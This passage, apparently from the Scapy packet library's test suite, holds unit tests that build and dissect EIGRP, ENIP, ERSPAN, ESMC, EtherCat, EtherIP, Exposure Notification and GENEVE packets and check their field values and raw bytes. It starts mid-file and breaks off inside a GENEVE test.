EIGRP IPv6 Binding ~ eigrp_ipv6_binding p = IPv6()/EIGRP() p[IPv6].nh == 88 = EIGRP checksum field ~ eigrp_chksum_field p = IP()/EIGRP(flags=0xa, seq=23, ack=42, asn=100) s = p[EIGRP].build() struct.unpack("!H", s[2:4])[0] == 64843 + Custom Field Tests * Test funciontally of custom made fields = ShortVersionField nice representation f = ShortVersionField("ver", 3072) f.i2repr(None, 3072) == "v12.0" and f.i2repr(None, 258) == "v1.2" = ShortVersionField h2i function f = ShortVersionField("ver", 0) f.h2i(None, 3073) == f.h2i(None, "v12.1") = ShortVersionField error try: f = ShortVersionField("ver", None) f.h2i(None, "Error") assert False except Scapy_Exception: assert True f = ShortVersionField("ver", "default") assert f.h2i(None, "Error") == "default" assert f.i2repr(None, "Error") == "unknown" assert f.randval() <= 65535 = EigrpIPField length with prefix length of 8 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=8) assert f.m2i(None, b"\x01") == '1.0.0.0' assert f.i2m(None, "1.0.0.0") == b"\x01" assert f.i2len(None, "") == 1 = EigrpIPField length with prefix length of 12 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=12) assert f.m2i(None, b"\x01\x02") == '1.2.0.0' assert f.i2len(None, "") == 2 = EigrpIPField length with prefix length of 24 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=24) assert f.m2i(None, b"\x01\x02\x03") == '1.2.3.0' assert f.i2len(None, "") == 3 = EigrpIPField length with prefix length of 28 bit f = EigrpIPField("ipaddr", "192.168.1.0", length=28) assert f.m2i(None, b"\x01\x02\x03\x04") == '1.2.3.4' assert f.i2len(None, "") == 4 = EigrpIPField randval assert inet_pton(socket.AF_INET, f.randval()) = EigrpIP6Field length with prefix length of 8 bit f = EigrpIP6Field("ipaddr", "2000::", length=8) f.i2len(None, "") == 2 = EigrpIP6Field length with prefix length of 99 bit f = EigrpIP6Field("ipaddr", "2000::", length=99) f.i2len(None, "") == 13 = EigrpIP6Field length with prefix length of 128 bit f = EigrpIP6Field("ipaddr", "2000::", length=128) f.i2len(None, "") == 16 = EigrpIP6Field randval assert inet_pton(socket.AF_INET6, f.randval()) = EIGRPGuessPayloadClass function: Return Parameters TLV from scapy.contrib.eigrp import _EIGRPGuessPayloadClass isinstance(_EIGRPGuessPayloadClass(b"\x00\x01" + b"\x00" * 50), EIGRPParam) = EIGRPGuessPayloadClass function: Return Authentication Data TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x02" + b"\x00" * 50), EIGRPAuthData) = EIGRPGuessPayloadClass function: Return Sequence TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x03" + b"\x00" * 50), EIGRPSeq) = EIGRPGuessPayloadClass function: Return Software Version TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x04" + b"\x00" * 50), EIGRPSwVer) = EIGRPGuessPayloadClass function: Return Next Multicast Sequence TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x05" + b"\x00" * 50), EIGRPNms) = EIGRPGuessPayloadClass function: Return Stub Router TLV isinstance(_EIGRPGuessPayloadClass(b"\x00\x06" + b"\x00" * 50), EIGRPStub) = EIGRPGuessPayloadClass function: Return Internal Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x01\x02" + b"\x00" * 50), EIGRPIntRoute) = EIGRPGuessPayloadClass function: Return External Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x01\x03" + b"\x00" * 50), EIGRPExtRoute) = EIGRPGuessPayloadClass function: Return IPv6 Internal Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x04\x02" + b"\x00" * 50), EIGRPv6IntRoute) = EIGRPGuessPayloadClass function: Return IPv6 External Route TLV isinstance(_EIGRPGuessPayloadClass(b"\x04\x03" + b"\x00" * 100), EIGRPv6ExtRoute) = EIGRPGuessPayloadClass function: Return EIGRPGeneric isinstance(_EIGRPGuessPayloadClass(b"\x23\x42" + b"\x00" * 50), EIGRPGeneric) + TLV List = EIGRP parameters and software version p = IP()/EIGRP(tlvlist=[EIGRPParam()/EIGRPSwVer()]) s = b'\x45\x00\x00\x3C\x00\x01\x00\x00\x40\x58\x7C\x67\x7F\x00\x00\x01\x7F\x00\x00\x01\x02\x05\xEE\x6C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x64\x00\x01\x00\x0C\x01\x00\x01\x00\x00\x00\x00\x0F\x00\x04\x00\x08\x0C\x00\x01\x02' raw(p) == s = EIGRP Sequence p = EIGRP(tlvlist=[EIGRPSeq(addrlen=16, ip6addr="45e4:0ecf:cff3:7be2:6059:771e:a221:3342")]) assert raw(p) == b'\x02\x05\x881\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x03\x00\x15\x10E\xe4\x0e\xcf\xcf\xf3{\xe2`Yw\x1e\xa2!3B' p = EIGRP(raw(p)) assert p.tlvlist[0].ip6addr == "45e4:ecf:cff3:7be2:6059:771e:a221:3342" = EIGRP Generic p = EIGRP(opcode=5, ack=1, flags="init", tlvlist=[EIGRPGeneric(value=b"data"), EIGRPGeneric(value=b"doto")]) p = EIGRP(raw(p)) assert p.tlvlist[1].value == b"doto" assert p.tlvlist[1].len == 8 assert p.summary() == 'EIGRP (AS=100 Opcode=Hello (ACK) Flags=init)' = EIGRP internal route length field p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(prefixlen=24, dst="192.168.1.0")]) struct.unpack("!H", p[EIGRPIntRoute].build()[2:4])[0] == 28 p = IP(raw(p)) assert p.tlvlist[0].prefixlen == 24 assert p.tlvlist[0].dst == "192.168.1.0" = EIGRP external route length field p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(prefixlen=16, dst="10.1.0.0")]) struct.unpack("!H", p[EIGRPExtRoute].build()[2:4])[0] == 47 = EIGRPv6 internal route length field p = IP()/EIGRP(tlvlist=[EIGRPv6IntRoute(prefixlen=64, dst="2000::")]) struct.unpack("!H", p[EIGRPv6IntRoute].build()[2:4])[0] == 46 p = IP(raw(p)) assert p.tlvlist[0].prefixlen == 64 assert p.tlvlist[0].dst == "2000::" = EIGRPv6 external route length field p = IP()/EIGRP(tlvlist=[EIGRPv6ExtRoute(prefixlen=99, dst="2000::")]) struct.unpack("!H", p[EIGRPv6ExtRoute].build()[2:4])[0] == 70 + Stub Flags * The receive-only flag is always set, when a router announces itself as stub router. = Receive-Only p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="receive-only")]) p[EIGRPStub].flags == 0x0008 = Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+receive-only")]) p[EIGRPStub].flags == 0x0009 = Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+receive-only")]) p[EIGRPStub].flags == 0x000a = Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="summary+receive-only")]) p[EIGRPStub].flags == 0x000c = Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+summary+receive-only")]) p[EIGRPStub].flags == 0x000d = Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="static+summary+receive-only")]) p[EIGRPStub].flags == 0x000e = Redistributed, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+receive-only")]) p[EIGRPStub].flags == 0x0019 = Redistributed, Static p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+receive-only")]) p[EIGRPStub].flags == 0x001a = Redistributed, Static, Connected p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+static+connected+receive-only")]) p[EIGRPStub].flags == 0x001b = Redistributed, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+summary+receive-only")]) p[EIGRPStub].flags == 0x001c = Redistributed, Connected, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="redistributed+connected+summary+receive-only")]) p[EIGRPStub].flags == 0x001d = Connected, Redistributed, Static, Summary p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+redistributed+static+summary+receive-only")]) p[EIGRPStub].flags == 0x001f = Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="leak-map+receive-only")]) p[EIGRPStub].flags == 0x0028 = Connected, Leak-Map p = IP()/EIGRP(tlvlist=[EIGRPStub(flags="connected+leak-map+receive-only")]) p[EIGRPStub].flags == 0x0029 + Routing Updates = External route flag external p = EIGRPExtRoute(flags="external") p.flags == 0x1 = External route flag candidate-default route p = EIGRPExtRoute(flags="candidate-default") p.flags == 0x2 = Multiple internal routing updates p = IP()/EIGRP(tlvlist=[EIGRPIntRoute(), EIGRPIntRoute(hopcount=12), EIGRPIntRoute()]) p[EIGRPIntRoute:2].hopcount == 12 = Multiple external routing updates p = IP()/EIGRP(tlvlist=[EIGRPExtRoute(), EIGRPExtRoute(mtu=23), EIGRPExtRoute()]) p[EIGRPExtRoute:2].mtu == 23 + Authentication Data TLV = Verify keysize calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc")]) p[EIGRPAuthData].build()[6:8] == b"\x00\x03" = Verify length calculation p = IP()/EIGRP(tlvlist=[EIGRPAuthData(authdata=b"\xaa\xbb\xcc\xdd")]) p[EIGRPAuthData].build()[2:4] == b"\x00\x1c" ================================================ FILE: test/contrib/enipTCP.uts ================================================ %ENIP Tests +Syntax check = Import the enip layer from scapy.contrib.enipTCP import * #from scapy.all import * + Test ENIP/TCP Encapsulation Header = Encapsulation Header Default Values pkt=ENIPTCP() assert pkt.commandId == None assert pkt.length == 0 assert pkt.session == 0 assert pkt.status == None assert pkt.senderContext == 0 assert pkt.options == 0 + ENIP List Services 0x0004 = ENIP List Services Reply Command ID pkt=ENIPTCP() pkt.commandId=0x4 assert pkt.commandId == 0x4 = ENIP List Services Default Values pkt=ENIPListServices() assert pkt.itemCount == 0 = ENIP List Services Custom Values pkt.items.append(ENIPListServicesItem(serviceName=b'test')) assert pkt.items[0].itemTypeCode == 0 assert pkt.items[0].itemLength == 0 assert pkt.items[0].protocolVersion == 0 assert pkt.items[0].flag == 0 assert pkt.items[0].serviceName == b'test' + ENIP List Identity 0x0063 = ENIP List Identity Reply Command ID pkt=ENIPTCP() pkt.commandId=0x63 assert pkt.commandId == 0x63 assert raw(pkt) == b"c\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" = ENIP List Identity Default Values pkt=ENIPListIdentity() assert pkt.itemCount == 0 = ENIP List Identity Custom Values pkt=ENIPListIdentityItem(sinAddress="192.168.1.1", productNameLength=4, productName=b"test") assert pkt.protocolVersion == 0 assert pkt.sinAddress == "192.168.1.1" assert pkt.productNameLength == 4 assert pkt.productName == b'test' + ENIP List Interfaces = ENIP List Interfaces Reply Command ID pkt=ENIPTCP() pkt.commandId=0x64 assert pkt.commandId == 0x64 = ENIP List Interfaces Reply Default Values pkt=ENIPListInterfaces() assert pkt.itemCount == 0 = ENIP List Interfaces Reply Items Default Values pkt=ENIPListInterfacesItem(itemTypeCode=0x0c) assert pkt.itemTypeCode == 0x0c assert pkt.itemLength == 0 assert pkt.itemData == b'' + ENIP Register Session = ENIP Register Session Command ID pkt=ENIPTCP() pkt.commandId=0x65 assert pkt.commandId == 0x65 = ENIP Register Session Default Values pkt=ENIPRegisterSession() assert pkt.protocolVersion == 1 assert pkt.options == 0 = ENIP Register Session Request registerSessionReqPkt = b'\x65\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00' pkt = ENIPTCP(registerSessionReqPkt) assert pkt.commandId == 0x65 assert pkt.length == 4 assert pkt.session == 0 assert pkt.status == 0 assert pkt.senderContext == 0 assert pkt.options == 0 assert pkt[ENIPRegisterSession].protocolVersion == 1 assert pkt[ENIPRegisterSession].options == 0 = ENIP Register Session Reply registerSessionRepPkt = b'\x65\x00\x04\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00' pkt = ENIPTCP(registerSessionRepPkt) assert pkt.commandId == 0x65 assert pkt.length == 4 assert pkt.session == 0xa14e9a7b assert pkt.status == 0 assert pkt.senderContext == 0 assert pkt.options == 0 assert pkt[ENIPRegisterSession].protocolVersion == 1 assert pkt[ENIPRegisterSession].options == 0 raw(pkt) + ENIP Send RR Data = ENIP Send RR Data Command ID pkt=ENIPTCP() pkt.commandId=0x6f assert pkt.commandId == 0x6f = ENIP Send RR Data Default Values pkt=ENIPSendRRData() assert pkt.interface == 0 assert pkt.timeout == 255 assert pkt.itemCount == 0 = ENIP Send RR Data Request sendRRDataReqPkt = b'\x6f\x00\x3e\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xb2\x00\x2e\x00' pkt = ENIPTCP(sendRRDataReqPkt) assert pkt.commandId == 0x6f assert pkt.length == 62 assert pkt.session == 0xa14e9a7b assert pkt.status == 0 assert pkt.senderContext == 0 assert pkt.options == 0 assert pkt.interface == 0 assert pkt.timeout == 0 assert pkt.itemCount == 2 = ENIP Send RR Data Reply sendRRDataRepPkt = b'\x6f\x00\x2e\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x02\x00\x00\x00\x00\x00\xb2\x00\x1e\x00' pkt = ENIPTCP(sendRRDataRepPkt) assert pkt.commandId == 0x6f assert pkt.length == 46 assert pkt.session == 0xa14e9a7b assert pkt.status == 0 assert pkt.senderContext == 0 assert pkt.options == 0 assert pkt.interface == 0 assert pkt.timeout == 1024 assert pkt.items[0].typeId == 0 assert pkt.items[0].length == 0 assert pkt.items[1].typeId == 0x00b2 assert pkt.items[1].length == 30 + ENIP Send Unit Data = ENIP Send Unit Data Command ID pkt=ENIPTCP() pkt.commandId=0x70 assert pkt.commandId == 0x70 = ENIP Send Unit Data Default Values pkt=ENIPSendUnitData() assert pkt.interface == 0 assert pkt.timeout == 255 assert pkt.itemCount == 0 = ENIP Send Unit Data sendUnitDataPkt = b'\x70\x00\x2d\x00\x7b\x9a\x4e\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xa1\x00\x04\x00\xcc\x60\x9a\x7b\xb1\x00\x19\x00\x01\x00' pkt = ENIPTCP(sendUnitDataPkt) assert pkt.commandId == 0x70 assert pkt.length == 45 assert pkt.session == 0xa14e9a7b assert pkt.status == 0 assert pkt.senderContext == 0 assert pkt.options == 0 assert pkt.interface == 0 assert pkt.timeout == 0 assert pkt.itemCount == 2 assert pkt.items[0].typeId == 0x00a1 assert pkt.items[0].length == 4 assert pkt.items[0].data == b'\x7b\x9a\x60\xcc' assert pkt.items[1].typeId == 0x00b1 assert pkt.items[1].length == 25 assert pkt.items[1].data == b'\x00\x01' ================================================ FILE: test/contrib/erspan.uts ================================================ % ERSPAN + ERSPAN I = Build & dissect ERSPAN 1 pkt = GRE()/ERSPAN_I()/Ether() pkt = GRE(bytes(pkt)) assert ERSPAN in pkt assert pkt.proto == 0x88be assert pkt.seqnum_present == 0 + ERSPAN II = Build ERSPAN II pkt = GRE()/ERSPAN_II()/Ether(src="11:11:11:11:11:11", dst="ff:ff:ff:ff:ff:ff") b = bytes(pkt) assert b == b'\x10\x00\x88\xbe\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\x11\x11\x11\x11\x11\x11\x90\x00' = Dissect ERSPAN II pkt = GRE(b) assert pkt[GRE].proto == 0x88be assert pkt[GRE].seqnum_present == 1 assert pkt[GRE][ERSPAN].ver == 1 assert pkt[Ether].src == "11:11:11:11:11:11" + ERSPAN III = Build & dissect ERSPAN III with platform specific pkt = GRE()/ERSPAN_III()/ERSPAN_PlatformSpecific()/Ether() pkt = GRE(bytes(pkt)) assert pkt[GRE].proto == 0x22eb assert pkt[ERSPAN_III].o == 1 assert ERSPAN_PlatformSpecific in pkt assert Ether in pkt = Build & dissect ERSPAN III without platform specific pkt = GRE()/ERSPAN_III()/Ether() pkt = GRE(bytes(pkt)) assert pkt[GRE].proto == 0x22eb assert pkt[ERSPAN_III].o == 0 assert ERSPAN_PlatformSpecific not in pkt assert Ether in pkt ================================================ FILE: test/contrib/esmc.uts ================================================ % ESMC unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('esmc')" -t test/contrib/esmc.uts + ESMC = Build & dissect ESMC and QLTLV pkt = Ether(src="00:13:c4:12:0f:0d") / SlowProtocol() / ESMC(event=1) / QLTLV(ssmCode=0x2) pkt.show() s = raw(pkt) raw_pkt = b'\x01\x80\xc2\x00\x00\x02\x00\x13\xc4\x12\x0f\x0d\x88\x09\x0a\x00\x19\xa7\x00' \ b'\x01\x18\x00\x00\x00\x01\x00\x04\x02' assert s == raw_pkt p = Ether(s) assert SlowProtocol in p and ESMC in p and QLTLV in p assert raw(p) == raw_pkt = Build & dissect ESMC and EQLTLV pkt = pkt / EQLTLV(clockIdentity=b'\x11\x22\x33\x44\x55\x66\x77\x88') pkt.show() s = raw(pkt) raw_pkt = b'\x01\x80\xc2\x00\x00\x02\x00\x13\xc4\x12\x0f\x0d\x88\x09\x0a\x00\x19\xa7\x00' \ b'\x01\x18\x00\x00\x00\x01\x00\x04\x02\x02\x00\x14\xff\x11\x22\x33\x44\x55\x66' \ b'\x77\x88\x00\x01\x00\x00\x00\x00\x00\x00' assert s == raw_pkt p = Ether(s) assert SlowProtocol in p and ESMC in p and QLTLV in p and EQLTLV in p assert raw(p) == raw_pkt ================================================ FILE: test/contrib/ethercat.uts ================================================ % EtherCat test campaign # # execute test: # $ test/run_tests -P "load_contrib('ethercat')" -t test/contrib/ethercat.uts # + LEBitFields = regression test TEST_SAMPLE_ENUM = { 0x01: 'one', 0x02: 'two', 0x03: 'three', 0x04: 'four', 0x05: 'five', 0x06: 'six', 0x07: 'seven' } class BitFieldUserExampleLE(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), LEBitField('c', 0, 5), LEBitField('d', 0, 23), ] class BitFieldUserExample(Packet): fields_desc = [ BitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), BitField('b', 0, 18), BitField('c', 0, 5), BitField('d', 0, 23), ] test_data = [ { 'a':0x01, 'b':0x00, 'c':0x00, 'd':0x123456 }, { 'a': 0x00, 'b': 0b111111111111111111, 'c': 0x00, 'd': 0x112233 }, { 'a': 0x00, 'b': 0x00, 'c': 0x01, 'd': 0x00 }, ] for data in test_data: bf_le = BitFieldUserExampleLE(**data) bf = BitFieldUserExample(**data) # rebuild big-endian and little-endian bitfields from its own binary expressions bf_le = BitFieldUserExampleLE(bf_le.do_build()) bf = BitFieldUserExample(bf.do_build()) ''' disabled as only required for 'visual debugging' from scapy.compat import raw # dump content for debugging bitstr = '' hexstr = '' for i in bytearray(raw(bf)): bitstr += '{:08b} '.format(i) hexstr += '{:02x} '.format(i) print('BE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) bitstr = '' hexstr = '' for i in bytearray(raw(bf_le)): bitstr += '{:08b} '.format(i) hexstr += '{:02x} '.format(i) print('LE - BITS: {} HEX: {} ({})'.format(bitstr, hexstr, data)) ''' # compare values for key in data: assert getattr(bf,key) == data[key] assert (getattr(bf_le, key) == data[key]) = Avoid mix of LEBitFields and BitFields TEST_SAMPLE_ENUM = { 0x01: 'one', 0x02: 'two', 0x03: 'three', 0x04: 'four', 0x05: 'five', 0x06: 'six', 0x07: 'seven' } class MissingFieldSameLEFieldTypes(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), ] try: frm = MissingFieldSameLEFieldTypes().build() assert False except LEBitFieldSequenceException: pass class MissingFieldDifferentLEFieldTypes(Packet): fields_desc = [ LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM), LEBitField('b', 0, 18), ] try: frm = MissingFieldDifferentLEFieldTypes().build() assert False except LEBitFieldSequenceException: pass class MixedBitFieldTypesLEBE(Packet): fields_desc = [ LEBitField('a', 0, 12), BitField('b', 0, 4), ] try: frm = MixedBitFieldTypesLEBE().build() assert False except LEBitFieldSequenceException: pass class MixedBitFieldTypesBELE(Packet): fields_desc = [ BitField('b', 0, 4), LEBitField('a', 0, 12), ] try: frm = MixedBitFieldTypesBELE().build() assert False except LEBitFieldSequenceException: pass ################################################ + EtherCat header layer handling = EtherCat and padding frm = Ether() / EtherCat() # even with padding the length must be zero # the Ether(do_build()) forces the calculation of all (post_build generated) fields frm = Ether(frm.do_build()) assert frm[EtherCat].length == 0 assert len(frm) == 60 frm = Ether()/Dot1Q()/Dot1Q()/EtherCat() frm = Ether()/EtherCat() assert len(frm) == 60 frm = Ether(frm.do_build()) assert frm[EtherCat].length == 0 = EtherCat and RawPayload frm=Ether()/EtherCat()/Raw(b'0123456789') assert len(frm) == 60 frm = Ether(frm.do_build()) assert frm[EtherCat].length == 10 frm = Ether()/EtherCat()/Raw(b'012345678901234567890123456789012345678901234567890123456789') frm = Ether(frm.do_build()) assert len(frm) == 76 assert frm[EtherCat].length == 60 = EtherCat - test invalid length detection nums_11_bits = [random.randint(0, 65535) & 0b11111111111 for dummy in range(0, 23)] nums_4_bits = [random.randint(0, 16) & 0b1111 for dummy in range(0, 23)] old_max_list_count = conf.max_list_count conf.max_list_count = 3000 frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[1]*2035, c=1) frm = Ether(frm.do_build()) assert frm[EtherCat].length == 2047 assert len(frm[EtherCatAPRD].data) == 2035 assert frm[EtherCatAPRD].c == 1 data_oversized = False try: frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2048, c=1) frm = Ether(frm.do_build()) except ValueError as err: data_oversized = True assert 'data size' in str(err) assert data_oversized == True dlpdu_oversized = False try: frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2036, c=1) frm = Ether(frm.do_build()) except ValueError as err: dlpdu_oversized = True assert 'EtherCat message' in str(err) assert dlpdu_oversized == True frm = Ether()/EtherCat(_reserved=1)/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[3], c=0) frm = Ether(frm.do_build()) assert frm[EtherCatAPRD].c == 0 assert frm[EtherCat]._reserved == 0 conf.max_list_count = old_max_list_count = EtherCat and Type12 DLPDU layers for type_id in EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES: data = [random.randint(0, 255) for dummy in range(random.randint(1, 10))] frm = Ether() / EtherCat() / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id](data= data) frm = Ether(frm.do_build()) # expect to have one layer of current Type12 DLPDU type dlpdu_lyr = frm[EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id]] assert dlpdu_lyr.data == data = EtherCat and Type12 DLPDU layer using structure used for physical and broadcast addressing # the code is the same for all layer sharing this structure - no need to test em all test_data = [121,99,110,104,114,109,58,41] frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=test_data) frm = Ether(frm.do_build()) aprd_lyr = frm[EtherCatAPRD] assert aprd_lyr.adp == 0x1234 assert aprd_lyr.ado == 0x5678 assert aprd_lyr.irq == 0xbad0 assert aprd_lyr.wkc == 0xbeef assert aprd_lyr.data == test_data = EtherCat and Type12 DLPDU layer using structure used for logical addressing test_data = [116,104,101,116,97,111,105,115,103,114,101,97,116] frm = Ether() / EtherCat() / EtherCatLRD(adr=0x11223344, irq=0xbad0, wkc=0xbeef, data=test_data) frm = Ether(frm.do_build()) aprd_lyr = frm[EtherCatLRD] assert (aprd_lyr.adr == 0x11223344) assert (aprd_lyr.irq == 0xbad0) assert (aprd_lyr.wkc == 0xbeef) assert (aprd_lyr.data == test_data) = EtherCat and randomly stacked Type12 DLPDU layers for outer_dummy in range(10): frm = Ether()/EtherCat() layer_ids = [] for inner_dummy in range(random.randint(1, 20)): layer_id = random.choice(list(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES)) layer_ids.append(layer_id) frm = frm / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]() # build frame and convert back frm = Ether(frm.do_build()) idx = 0 for layer_id in layer_ids: assert type(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]()) == type(frm[2 + idx]) idx += 1 ================================================ FILE: test/contrib/etherip.uts ================================================ + EtherIP Contrib tests = Basic EtherIP test pkt = Ether(b'\x99\xc1o\xd2\xf5c\x9d\xb7\xd0\xc2\xe0\xd3\x08\x00E\x00\x00@\x00\x01\x00\x00@a,\xf3B\x83\x17\xc6\xad\xc2E^0\x00\xd5/\xf26\xab\xe2\x9f\xb4tD\xa4\x98\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01W-\xe7\x98H\xfa\xad\xc2E^\x08\x00\xf7\xff\x00\x00\x00\x00') assert ICMP in pkt assert EtherIP in pkt ================================================ FILE: test/contrib/exposure_notification.uts ================================================ % Exposure Notification System tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('exposure_notification')" -t test/contrib/exposure_notification.uts + ENS tests = Setup def next_eir(p): return EIR_Hdr(p[Padding].load) = Presence check Exposure_Notification_Frame = Raw payload copied from BluetoothExplorer.app d = hex_bytes('17df1d67405e3395470e62ca4fda6a9303687b31') p = Exposure_Notification_Frame(d) assert p.identifier == hex_bytes('17df1d67405e3395470e62ca4fda6a93') assert p.metadata == hex_bytes('03687b31') = Raw captured payload d = hex_bytes('02011a03036ffd17166ffde23f352fa09307a85d4194912443180d484dc151') p = EIR_Hdr(d) # First is a flags header assert EIR_Flags in p # Then the 16-bit Service Class ID p = next_eir(p) assert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [ EXPOSURE_NOTIFICATION_UUID] # Then the ENS p = next_eir(p) assert p[EIR_ServiceData16BitUUID].svc_uuid == EXPOSURE_NOTIFICATION_UUID assert p[Exposure_Notification_Frame].identifier == hex_bytes( 'e23f352fa09307a85d4194912443180d') assert p[Exposure_Notification_Frame].metadata == hex_bytes('484dc151') # Rebuild the payload. p2 = p[Exposure_Notification_Frame].build_eir() # Our captured payload was from a mobile phone, but build_eir presumes that # we're broadcasting as an non-connectable, LE-only beacon. We need to adjust # these flags to match the captured packet. p2[0] = EIR_Hdr() / EIR_Flags(flags=[ 'general_disc_mode', 'simul_le_br_edr_ctrl', 'simul_le_br_edr_host']) # Ensure we didn't mutate LowEnergyBeaconHelper.base_eir just then. assert LowEnergyBeaconHelper.base_eir[0][EIR_Flags].flags == [ 'general_disc_mode', 'br_edr_not_supported'] # Assemble all packet bytes assert b''.join(map(raw, p2)) == d ================================================ FILE: test/contrib/geneve.uts ================================================ # GENEVE unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('geneve')" -t test/contrib/geneve.uts + GENEVE = Build & dissect - GENEVE encapsulates Ether s = raw(IP()/UDP(sport=10000)/GENEVE()/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) assert s == b'E\x00\x002\x00\x01\x00\x00@\x11|\xb8\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00\x1e\x9a\x1c\x00\x00eX\x00\x00\x00\x00\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00' p = IP(s) assert GENEVE in p and Ether in p[GENEVE].payload = Build & dissect - GENEVE with options encapsulates Ether s = raw(IP()/UDP(sport=10000)/GENEVE(critical=1, options=b'\x00\x01\x81\x02\x0a\x0a\x0b\x0b')/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22')) assert s == b'E\x00\x00:\x00\x01\x00\x00@\x11|\xb0\x7f\x00\x00\x01\x7f\x00\x00\x01\'\x10\x17\xc1\x00&\x01\xb4\x02@eX\x00\x00\x00\x00\x00\x01\x81\x02\n\n\x0b\x0b\x00\x01\x00\x11\x11\x11\x00\x02\x00"""\x90\x00' p = IP(s) assert GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].critical == 1 and p[GENEVE].optionlen == 2 = Build & dissect - GENEVE with metadata options encapsulates Ether s = raw(Ether()/Dot1Q()/IP()/UDP(sport=57025,dport=6081)/GENEVE(proto=0x6558,options=GeneveOptions(classid=0x0102,type=0x80,data=b'\x00\x01\x00\x02'))/Ether()/IP()/ICMP(type=8)) assert (s == b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x81\x00\x00\x01\x08\x00E\x00\x00V\x00\x01\x00\x00@\x11|\x94\x7f\x00\x00\x01\x7f\x00\x00\x01\xde\xc1\x17\xc1\x00B\x1a\x86\x02\x00eX\x00\x00\x00\x00\x01\x02\x80\x01\x00\x01\x00\x02\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x00\x1c\x00\x01\x00\x00@\x01|\xde\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\xf7\xff\x00\x00\x00\x00') p = Ether(s) assert GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].proto == 0x6558 and p[GeneveOptions].length == 1 and p[GeneveOptions].classid == 0x102 and p[GeneveOptions].type == 0x80 = Build & dissect - GENEVE with multiple options s = 